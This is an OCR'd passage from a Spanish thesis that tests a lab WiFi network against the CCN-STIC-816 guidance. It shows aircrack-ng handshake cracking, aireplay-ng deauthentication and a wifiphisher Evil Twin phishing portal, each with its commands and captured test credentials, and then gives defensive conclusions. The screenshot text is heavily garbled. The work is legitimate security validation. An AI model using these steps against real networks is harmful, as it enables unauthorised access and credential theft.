04: : : H B le-
04: H : : = lex
04: : : : = le-
04:18:D6:7B:1D: 8C:BF:A6:1C:49:CB - le-
04:18:D6:7B:1D: DO:33:11:43:5D:FB -

04: :

04:

04: & s

04:18:D6:7B:1D: 30:59:B7:04:65:50 -
04:18:D6:7B:1D: F4:0E:22:EB:16:75 -

04: : :

04:

04: 2 5

04:18:D6:7B:1D: B4:9D:0B:37:63:84 -
04:18:D6:7B:1D: C8:D7:BO:CE:DC:8A -
04:18:D6:7B:1D: 54:8C:A0:4A:A0:C4 -
04:18:D6:7B:1D: E8:B2:AC:94:81:D8

DHOH OO DD

COOOPOPOOPOOPOPORPOOOO O @

Figura 4-22 Monitorizacién de red wcud_cuartel

La estructura de la pantalla es la misma que para monitorizar todas las redes, con la particularidad
de que cuando detecta el handshake aparece el aviso recuadrado en la figura.

Capturado el handshake, éste se guarda en un archivo con extensién .cap, en nuestro caso el
fichero se llama Descargas-0l.cap. Sera este fichero del que obtendremos la contrasefia de la red
wcud_cuartel.

En la Figura 4-23 se introduce el comando para lanzar aircrack-ng. En él indica la direccion MAC
del AP (04:18:D6:7B:1D:A0), la direccién del diccionario a emplear (-w ~/Descargas/pass.txt) y a
continuacion la ruta del archivo que guarda el handshake (~/Descargas-01.cap).

:~$ sudo aircrack-ng -a2 -b 04:18:D6:7B:1D:A0@ -w ~/Descargas/pass.txt ~/Descargas-01.cap

[sudo] password for tfg: E

Figura 4-23 Comando aircrack-ng

El diccionario empleado (Figura 4-24) es un diccionario ad-hoc, que incluye la contrasefia de la
red weud_cuartel y la del usuario Jesus para la siguiente prueba.

GNU nano 2.9.3 /home/tfg/Descargas/pass.txt

escuelanavaﬂ]
tsml!vpTypM

Figura 4-24 Diccionario empleado con aircrack-ng

El resultado del ataque de diccionario es el que se muestra en la Figura 4-25. Podemos ver en el
apartado KEY FOUND! [ escuelanaval ] la contrasefia de la red.
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Aircrack-ng 1.2 rc4

[00:00:00] 2/1 keys tested (245.55 k/s)

Time left: © seconds

FOUND! [ escuelanaval ]

Master Key

Transient Key

EAPOL HMAC

Figura 4-25 Interfaz de aircrack-ng

200.00%

Para el crackeo de la clave se pueden emplear otros software como cowpatty o pyrit para realizar
ataques de diccionario o hashcat que permite ejecutar ataques de fuerza bruta.

PRUEBA 6: CRACKEO CONTRASENA WPA2 ENTERPRISE

El objeto de esta prueba es emplear aircrack-ng en la Red TFG, que trabaja con servidor RADIUS,
para demostrar que aircrack-ng no funciona como en la prueba 5. Se repite el proceso deteniéndonos

solo en los detalles en los que diverge el proceso.

En la Figura 4-26 se vuelven a monitorizar las redes, y en este caso seleccionaremos la Red TFG

(veéase Figura 4-27).
Elapsed: 30 s ][ 2018-03-15 16:13

PWR Beacons #Data,

3*
S
)

19 A

[cNoNoNoNoNTNo [of of

(not associated) :FD:
(not associated) :90:
(not associated) :6D:
$17:
:94:
:EE:
:9C:
:99:
:3A:
*F7:
:33:
:9D:
:59:
:8C:
:14:
:9D:
:E8:
:DO:
:F8:

N
COPORHEHOAREHOOOHKH K H

S54e.
54e.
54e.
54e.
54e.
54e.

o |

Lost

1

(oo oo oo NoNo oo No o oo oo Ro N

CIPHER AUTH

CCMP
CCMP
CCMP
ccMP
ccMp
ccMP
ccMpP
CccMP

Frame

S

HFHERREFUBUBWWOUHKMKMEOOANWSN

Figura 4-26 airodump-ng wlanlmon

PSK
MGT
PSK
PSK
PSK
PSK
PSK
PSK

Probe

ESSID

nTﬂFCT-FIMSImSHE
Red TFG

wcud2

wcud _cuartel
wcud2
wcud_cuartel
wcud cuartel
wcud2

<length: 0>

EightOne
wcud cuartel
Red TFG

wcud _cuartel

wcud cuartel

:~$ sudo airodump-ng -c 8 --bssid :EF:68:44:7C:4F wlanlmon

Figura 4-27 Comando para monitorizacion de Red TFG
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A continuacion, en la Figura 4-28 vemos a los clientes conectados a la red. De los dos clientes
conectados, utilizaremos aireplay-ng en el segundo (STATION: B4:9D:0B:5F:65:3C).

CH 8 ][ Elapsed: 24 s ][ 2018-03-15 16:16
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER

58:EF:68:44:7C:4F -55 100 239 43 0 8 54e WPA2 CCMP

BSSID STATION PWR Rate Lost Frames Prob

58:EF:68:44:7C:4F A4:17:31:40:FB:46 -39 le- le ¢} 21
58:EF:68:44:7C:4F B4:9D:0B:5F:65:3C -47 36e- 1 ¢} 179

Figura 4-28 Interfaz de monitorizacion Red TFG

La Figura 4-28 muestra la situacion antes de emplear aireplay-ng en el dispositivo seleccionado.
Véase en la ventana de la derecha que no aparece el mensaje de captura del handshake. En la ventana
de la izquierda se lanzara el comando:

sudo aireplay-ng -0 2 -a 58:EF:68:44:7C:4F -c B4:9D:0B:5F:65:3C wlanlmon

:~$ sudo aireplay-ng -0 2 -a 58:EF:68:44:7C:4F -c B4:9D:0B:5F:6n
5:3C wlanlmovﬂ CH 8 ][ Elapsed: 54 s ][ 2018-03-15 16:16

BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER
58:EF:68:44:7C:4F -62 100 525 66 (] 8 54e WPA2 CCMP
BSSID STATION PWR Rate Lost Frames Prob

58:EF:68:44:7C:4F A4:17:31:40:FB:46 -27 le- 1le ¢} 39
58:EF:68:44:7C:4F B4:9D:0B:5F:65:3C -47 36e- 1 ¢} 179

Figura 4-29 aireplay-ng ejecutandose junto con airodump-ng

Tras introducir el comando anteriormente mencionado, se produce la desautenticacién del cliente,
que se vuelve a conectar y hace que se capture el mensaje del handshake (véase Figura 4-30).

Sending directed DeAuth. STMAC:

Sending directed DeAuth. STMAC: : :65: CH 8 ][ Elapsed: 1 min ][ 2018-03-15 16:16 ]| WPA handshake: 58:EF:68:4 |
Sending directed DeAuth. STMAC:

Sending directed DeAuth. STMAC: $ HH BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER
Sending directed DeAuth. STMAC:

Sending directed DeAuth. STMAC: [B4:9D:0B:5F:65: 58:EF:68:44:7C:4F -55 100 623 179 2 8 54e WPA2 CCMP
Sending directed DeAuth. STMAC: [B4:9D:0B:5F:

Sending directed DeAuth. STMAC: 2 =69% BSSID STATION PWR Rate Lost Frames Prob

Sending directed DeAuth. STMAC:

Sending directed DeAuth. STMAC: . :65: 58:EF:68:44:7C:4F B4:9D:0B:5F:65:3C -57 54e- 6 0 434 Red T
Sending directed DeAuth. STMAC: [B4:9D:0B:5F:65: 58:EF:68:44:7C:4F A4:17:31:40:FB:46 -27 le-gile 0 39
Sending directed DeAuth. STMAC: [B4:9D:0B:5F:

Sending directed DeAuth. STMAC:

Sending directed DeAuth. STMAC: :9D:0B:5F:

Sending directed DeAuth. STMAC: [B4:9D:0B:5F:

Figura 4-30 Captura del paquete handshake

Fruto de lo anterior, ahora tenemos el archivo necesario para emplear aircrack-ng, ~/Descargas-
03.cap. Lanzaremos aircrack-ng con el comando mostrado en la Figura 4-31.
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:~$ sudo aircrack-ng -a2 -b 58:EF:68:44:7C:4F -w ~/Descargas/pass.txt —/DescargasAOB.caol

Figura 4-31 Comando aircrack-ng

El resultado de la prueba demuestra que los ataques realizados con aircrack-ng en redes en las que
se aplica el estandar IEEE 802.1x son infructuosos. Para la prueba se emplea el diccionario que
contiene la contrasefia del usuario que se conecta a la red y aircrack-ng no es capaz de descifrarla (ver
Figura 4-32).

Aircrack-ng 1.2 rc4
Passphrase not in dictionary
2/1 keys tested

Time left: @ seconds

Quitting aircrack-ng...
=

Figura 4-32 Proceso de crackeo aircrack-ng

PRUEBA 7: OBTENCION DE CREDENCIALES MEDIANTE WIFIPHISHER

La siguiente prueba se orientara a vulnerabilidades de red que provienen de los usuarios de la
misma. Esta prueba se puede ver de dos formas, o como un ataque Evil Twin o un ataque KARMA. La
diferencia entre ellos es que, en Evil Twin, el Rogue AP debe ser creado en el entorno del usuario
objetivo, desplegando una red de mayor potencia cerca de él.

Los ataques KARMA, como se comentd en la prueba 0, explotan los mensajes probe request
enviados por los usuarios. Esto nos permite conocer qué redes guardadas tiene el dispositivo y nos
permite crear un AP falso lejos del AP real que estamos copiando y asegurarnos de que el dispositivo
se conectara.

El nucleo de la prueba es el mismo, pero se debe estudiar la situacion para ejecutar un ataque lo
mas convincente posible.

En esta prueba emplearemos el software wifiphisher [58] que nos permite crear un Rogue AP
“confiable” y establecer un portal web para capturar datos introducidos por el usuario. Para hacer mas
efectivo el empleo de la ingenieria social, el portal creado debe ser creible. En nuestro caso se
empleard uno de los portales predefinidos de la aplicacion, que solicita usuario y contrasefia de
Facebook. Se podria configurar un portal mas convincente que solicitara las credenciales de acceso a
la Red TFG, por ejemplo, un logo del CUD con un aviso de un problema en la red; téngase en cuenta
que la red simula una red para el CUD.

A continuacion, se procede a indicar el proceso de instalacion, configuracion y empleo de
wifiphisher.
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Primero se instalara la aplicacion (Figura 4-33).

:~$ git clone https://github.com/wifiphisher/wifiphisher.git
Clonando en 'wifiphisher'...
remote: Counting objects: 2910, done.
remote: Compressing objects: 100% (13/13), done.
remote: Total 2910 (delta 7), reused 5 (delta 4), pack-reused 2893
Recibiendo objetos: 100% (2910/2910), 4.29 MiB | 1.81 MiB/s, listo.

Resolviendo deltas: 100% (1809/1809), listo.
:~$ cd wifiphisher
:~/wifiphisher$ sudo phyton setup.py install
: command not found
:~/wifiphisher$ sudo python setup.py install
[sudo] password for tfg:

Figura 4-33 Instalacion de wifiphisher

Al terminar la instalacion nos aparecera el siguiente logo (Figura 4-34).

Best match: PyRIC 0.1.6.3
[Adding PyRIC ©0.1.6.3 to easy-install.pth file

Using /usr/local/lib/python2.7/dist-packages
Finished processing dependencies for wifiphisher==1.4
[*] hostapd not found in /usr/sbin/hostapd, install now? [y/n] y
Leyendo lista de paquetes... Hecho
Creando arbol de dependencias
Leyendo la informacidn de estado... Hecho
Se instalaran los siguientes paquetes NUEVOS:
hostapd
0 actualizados, 1 nuevos se instalaran, © para eliminar y 21 no actualizados.
Se necesita descargar 606 kB de archivos.
Se utilizaran 1.535 kB de espacio de disco adicional después de esta operaciodn.
Des:1 http://ftp.free.fr/pub/kali kali-rolling/main amd64 hostapd amd64 2:2.6-15 [606 kB]
Descargados 606 kB en 1s (503 kB/s)
Seleccionando el paquete hostapd previamente no seleccionado.
(Leyendo la base de datos ... 335206 ficheros o directorios instalados actualmente.)
Preparando para desempaquetar .../hostapd 2%3a2.6-15 amd64.deb ...
Desempaquetando hostapd (2:2.6-15) ...
Configurando hostapd (2:2.6-15) ...
Created symlink /etc/systemd/system/hostapd.service - /dev/null.
update-rc.d: We have no instructions for the hostapd init script.
update-rc.d: It looks like a network service, we disable it.
Procesando disparadores para systemd (237-4) ...
Procesando disparadores para man-db (2.8.2-1) ...

-/wifiphisher$ |:|

Figura 4-34 wifiphisher instalado

Una vez instalado ya podemos crear el falso AP. Para ello utilizaremos el siguiente comando:

sudo wifiphisher -essid “Red TFG” -p ocauth-login -pK painterl537 -gS

Con este comando se define lo siguiente:

o --essid “Red TFG”, nombre de la red.

e -p oauth-login, carga uno de los escenarios precargados del programa, es decir, la interfaz
web que se muestra cuando el usuario en el AP intenta acceder a Internet.

o -pK painter1537, establece una contrasefia WPAZ2 para la red.

e -QS, establece que, una vez obtenidas las credenciales buscadas, se cierre el AP.

Tras introducir el comando, Figura 4-35, se abrira la interfaz del AP, Figura 4-36. La interfaz aun
no muestra ningun cliente pero muestra datos como el nombre de la red, canal de trabajo e interfaz que
estd empleando para generar el AP.
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:~$ sudo wifiphisher --essid "Red TFG" -p oauth-login -pK painterl537 -qgS
do] password for tfg:
Starting Wifiphisher 1.4GIT ( https://wifiphisher.org ) at 2018-03-15 20:59
Selecting interface for the deauthentication attack
Selecting interface for creating the rogue Access Point
Changing wlan®@ MAC addr (BSSID) to 00:00:00:88:3a:86
Changing wlanl MAC addr to 00:00:00:37:6f:7a
Cleared leases, started DHCP, set up iptables
Selecting OAuth Login Page template
Starting the fake access point...
Starting HTTP/HTTPS server at ports 80860, 443

Figura 4-35 Comando wifiphisher

Aplicaciones ~ Lugares ~ Terminal + ue 20:59
p g J

tfg@Kalicud: ~ (- C >

Archivo Editar Ver Buscar Terminal Ayuda

Extensions feed: Wifiphisher 1.46GIT
DEAUTH/DISAS - 18:cf:5e:53:17:65 ESSID: Red TFG
DEAUTH/DISAS - ae:92: d Channel: 6
DEAUTH/DISAS - 30:17: AP interface: wlane
DEAUTH/DISAS - bc:e6: Options: [Esc] Quit
DEAUTH/DISAS - 60:

DHCP Leas :

HTTP requests

Figura 4-36 Interfaz wifiphisher

Activado wifiphisher, se procedera a conectar un equipo a dicha red, que, tras intentar acceder a
Internet, accede a la web que emplearemos para obtener sus credenciales (véase Figura 4-37). La
interfaz es editable y nos permitiria darle un aspecto mas personalizado (spear phishing).

[ ] Acceder a "Red TFG”

Get connected to the Internet for free

A simple, no frills Wi-Fi service.

nain 1icina Eacehonk
LOgIN usSing racebOoK

buendicartagena@gmail.com

Terms of Usage

http://captive.apple.com/hotspot-detect.html Cancelar

Figura 4-37 Portal de captura de credenciales
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Una vez introducidas las credenciales y hecho click en Login, se mostrara la imagen de la Figura
4-38. En ese momento se capturan las credenciales del usuario y se desconecta el Rogue AP.

[ ) Acceder a “Red TFG”

Oops, an error occured! Our engineers were notified. Please be patient as we are working on it.

Figura 4-38 Mensaje de aviso de portal falso

Paralelamente, en el portétil del atacante aparece el usuario una vez conectado a la red (ver Figura
4-39).

Aplicaciones v Lugares v (] Terminal v

tfg@Kalicud: ~ (- IO -]

Archivo Editar Ver Buscar Terminal Ayuda

EX ions eed

DEAUTH/DISAS - a2:d9:5a:82:a0:29 ESSID

DEAUTH/DISAS - :1d:90:c6:7a:cl Channel: 6
DEAUTH/DISAS - :f0:2f:e6:3d:b4 AP interface: wlan@
DEAUTH/DISAS - :d6:28:04:ef:ea Options: [Esc] Quit
DEAUTH/DISAS - da:al:19:01:85:98

1521187354 4c:32:75:95:d1:bl 10.0.0.81 MBP-de-Jesus 01:4c:32:75:95:d1:bl

GET request .0.0. ¢ //fonts.gstatic.com/s/roboto/v15/zN7GBFwfMP4uA6AROHCOLQ. ttf

GET request . . 0 //fonts.gstatic.com/s/roboto/v15/RxZJdnzeo3R5zSexge8UUaCWcynf_cDxXwCLxiixGlc.ttf
GET request - . 3 //fonts.gstatic.com/s/roboto/v15/d-6IYplOFocCacKzxwXSOKCWcynf_cDxXwCLxiixGlc.ttf
GET request .0.0. F //fonts.gstatic.com/s/roboto/v15/mnpfi9pxYH-Go5UiibESIqCWcynf_cDxXwCLxiixGlc.ttf
GET request .0.0. 3 //captive.apple.com/hotspot-detect.html

Figura 4-39 Interfaz wifiphisher con usuario conectado

Una vez realizado el login en el portétil del usuario del que queremos obtener las credenciales, se
abandonaré la interfaz y se volvera a la terminal que mostrara las credenciales del usuario:

e Usuario: buendicartagena@gmail.com
e Contrasefia: calimeroseguro

:~$ sudo wifiphisher --essid "Red TFG" -p oauth-login -pK painterl537 -qgS
Starting Wifiphisher 1.4GIT ( https://wifiphisher.org ) at 2018-03-15 21:01
Selecting interface for the deauthentication attack
Selecting interface for creating the rogue Access Point
Changing wlan® MAC addr (BSSID) to 00:00:00:7a:45:eb
Changing wlanl MAC addr to 00:00:00:99:dc:3b
Cleared leases, started DHCP, set up iptables
Selecting OAuth Login Page template
Starting the fake access point...

Starting HTTP/HTTPS server at ports 86080, 443
Show your support!

Follow us: https://twitter.com/wifiphisher
Like us: https://www.facebook.com/Wifiphisher

Conturod rodao
wfphshr-email=buendicartagena@gmail.com&wfphshr-password=calimeroseguro
[ ] ccosing

Figura 4-40 Credenciales del usuario atacado
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Los ataques realizados con este programa s6lo son compatibles para redes sin cifrado o con WPA2
Personal. Podriamos decir que empleando WPA2 Enterprise no existe amenaza de este tipo, sin
embargo, si los usuarios de la red no estan debidamente formados podrian ser victima de un ataque de
este tipo y proporcionar las credenciales de acceso a la red.

En el caso de una organizacién como el CUD, en la que el e-mail de los profesores estéa disponible
en Internet, se podria orquestar un ataque spear phishing en el que se informara de un cambio en la
contrasefia de la red que se emplea. Se facilitaria la contrasefia que deberian introducir para acceder al
Rogue AP, y en un portal similar al empleado en esta prueba, solicitar las antiguas credenciales de
acceso a la red con RADIUS. Obtenidas las credenciales se podria acceder a la red original por parte
del atacante.

En la guia se menciona que es recomendable el empleo de equipos corporativos. Esta seria otra
forma de evitar ataques de este tipo ya que se podrian limitar las opciones de configuracién de los
equipos para que solo el administrador de la red pueda realizar cambios. Se evitaria que algin usuario
de la red pudiera ser engafiado.

Una vez realizadas las pruebas podemos concluir que solo con el empleo del estdndar 802.1x se
limitan las opciones que tiene el atacante para acceder a nuestra red. Si se configuran correctamente
los mecanismos de transmision de datos entre usuario, cliente y servidor, se impide el empleo de
ataques gue explotan fallos en SSL (heartbleeding). La principal forma de conseguir credenciales en la
red es con el empleo de hostapd-wpe, lo que implica que con equipos bien configurados y usuarios
concienciados se puede considerar segura la red.

Se ha visto también la importancia del empleo de contrasefias robustas en WPA2 ya sea en la
version Personal o Enterprise. Se demostré en la prueba 4 que empleando contrasefias robustas no se
pueden descifrar las contrasefias, aunque el ataque previo con hostapd-wpe haya tenido éxito.

Las medidas menores como el filtrado MAC o la no emisién del SSID establecen una pequefia
capa de seguridad que, aunque no vayan a detener a un atacante con conocimientos, sirven como
medida deceptiva para personal no técnico.
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5 CONCLUSIONES Y LINEAS FUTURAS

En este capitulo se procede a exponer las conclusiones obtenidas tras la realizacion del presente
TFG asi como las posibles lineas futuras a desarrollar por parte de otro alumno que quiera continuar
por esta linea de investigacion.

5.1 Conclusiones

El objetivo general de este TFG es comprobar si las medidas publicadas por el CCN-CERT, en el
marco del ENS, en la guia CCN-STIC-816 Seguridad en Redes Inalambricas solucionan los
principales problemas relacionados con la seguridad en redes inalambricas.

Para ello se despleg6 una red en el cuartel de alumnos Marqués de la Victoria, empleando tres
routers domésticos a modo de AP, uno para monitorizar la red y software libre. La red simulaba una
posible red en los pasillos del CUD. Debido a limitaciones de material, eminentemente cables, se tuvo
que adaptar el despliegue a éstas. El resultado final fue satisfactorio, con una red desplegada que
cubria un area equivalente a los pasillos del CUD y que era incluso capaz de cubrir una zona mas
amplia.

Respecto al estudio y clasificacion de la red, el proyecto se apoy6é completamente en el empleo de
las guias publicadas por CCN-CERT, tanto para aplicar las medidas de seguridad, como para clasificar
la red. La decision de categorizacion de la red se puede tomar basandose en los criterios de la guia
CCN-STIC-816, sin embargo, para este proyecto se tuvieron en cuenta otras guias de caracter mas
amplio, como la guia CCN-STIC-803 de clasificacion de los sistemas y, mas concretamente, como el
anexo | de la guia CCN-STIC-803 que definia la clasificacion de las universidades. Finalmente se
decidi6 que la red debia tener una categorizacion de seguridad MEDIA.

Antes de implementar las medidas que propone la guia CCN-STIC-816, se debid revisar el
software libre que se emplearia para el establecimiento de las mismas. Se decidid el empleo del
firmware OpenWrt, basado en Linux. También se estudié qué software se emplearia como servidor
RADIUS (freeRADIUS), base de datos (MySQL) o sistema WIDS (Kismet). El software libre ofrecio
un gran abanico de posibilidades, que se vieron limitadas debido al hardware empleado ya que poseia
escasa memoria. Esto ultimo determind que la instalacion del software a emplear se hiciera de forma
descentralizada, quedando las aplicaciones repartidas entre distintos routers o el ordenador portatil
empleado para este TFG. Sin embargo, aun no siendo lo deseado, la eleccion del software e instalacion
sirvid para nuestros propositos.

Una vez realizados los pasos previos, red desplegada, categoria de seguridad determinada y
software a emplear seleccionado, se procedio a implementar las medidas del ENS que propone la guia
CCN-STIC-816. Para un usuario sin conocimientos sobre configuracién de redes puede resultar
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confusa al principio. La guia incluye un estado del arte en el que desarrolla los conceptos que se deben
conocer para aplicar las posteriores medidas. Durante el planteamiento de las medidas no se
recomienda ningun software especifico, quedando la decision de cual usar en el administrador de la
red.

Sobre las medidas propuestas para una categoria de red MEDIA, se implantaron todas menos el
uso de certificados, una medida opcional. Tampoco se tuvieron en cuenta aspectos relativos a la
eliminacion de routers o equipos relacionados con la red. Se debe mencionar que se aplicaron medidas
de proteccidn extras como las alertas de Kismet que permiten detectar un ataque KRACK, ataque no
contemplado en la guia CCN-STIC-816.

En el capitulo de validacion de la red se comprobo la eficacia de las medidas propuestas por el
ENS e implantadas en la red. Se realizaron un total de ocho pruebas empleando algunos de los
principales programas de pentesting. Se demostro que el empleo del cifrado WPA2 Enterprise es mas
seguro que WPAZ2 Personal y permite un menor nimero de herramientas para intentar penetrar en la
red. Se destaca el ataque a usuarios de la red como la principal amenaza para una red que cumple el
ENS. Se ha demostrado que el empleo de medidas deceptivas puede llegar a poner en riesgo la red
debido a la captura de credenciales.

En resumen, se puede hablar de que se han cumplido los objetivos marcados por este TFG y se
puede concluir que la aplicacion de las medidas propuestas por la guia CCN-STIC-816 incrementa
notablemente la seguridad de una red, al menos, en el nivel MEDIO.

5.2 Lineas futuras

En este apartado se proponen las posibles opciones que permiten continuar o ampliar el trabajo
realizado en este proyecto:

e Considerando que la mayor limitacion para el desarrollo de este TFG han sido las
caracteristicas de memoria de los routers, se propone la implantacion de las mismas
medidas en un modelo de router pensado para despliegues profesionales, ya que estos
tienen fundamentalmente un uso doméstico. Incluso, conociéndose las necesidades de una
red de capacidad MEDIA, decidir qué router seria necesario para implantar todo el
software de red (servidor RADIUS, bases de datos, cifrado de interfaz web,...)
adecuadamente en los routers.

o Implantar las medidas de la categoria de seguridad ALTA y validar el funcionamiento de la
red. La posibilidad de aumentar la categoria de seguridad existe dado que el futuro
laboratorio de investigacion del CUD puede llevar a cabo estudios en ambitos militares
cuya filtracion pueda suponer un perjuicio para la reputacion de la organizacion. Segun la
guia CCN-STIC-803 de valoracion de redes, se considera la reputacion como un criterio
comun evaluable para las redes [38] que de alcanzar nivel alto daria lugar a la
categorizacion ALTA.

e Este TFG ha focalizado la validacion principalmente en la captura de credenciales; con el
empleo de routers de mayor capacidad, se podria intentar realizar ataques de otro tipo como
puede ser denegacion de servicio (DoS, Denial of Service). En nuestro caso, los routers no
presentan capacidad para afrontar un ataque DoS.

e Una vez elegido el nivel de seguridad a implantar y con la red desplegada, poblar la red
para detectar posibles fallos que hayan podido pasar desapercibidos debido al uso limitado
de la red de este TFG.

e Estudiar la integracion de la red inalambrica segun la guia CCN-STIC-816 con una red
cableada y estudiar el nivel de seguridad conjunto del sistema. Implantar tambien las
medidas de seguridad pertinentes.

e Seguimiento de la evolucién de la guia CCN-STIC-816 debido a la posibilidad del
lanzamiento de WPAS3 a lo largo de 2018 [59] o liberacion de los ataques KRACK.
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Centrar los esfuerzos de pentesting en acceder al router ya sea via cableada o inalambrica.
Plantear y estudiar el establecimiento de una red WiFi segura para el empleo tactico de las
tecnologias inaldmbricas WiFi en teatro de operaciones. Empezando por unas pruebas
iniciales de aplicacion en la compafia de alumnos de Infanteria de Marina, creando un
Puesto de Mando y probando el alcance eficaz maximo que podria tener la red.

Estudiar la viabilidad de incorporar una red WiFi inalambrica segura a EDUROAM, un
servicio mundial de movilidad segura desarrollado para la comunidad académica y de
investigacion, en el que un usuario con las credenciales adecuadas puede conectarse a la
red de una universidad desde cualquier parte de la topologia de la red.
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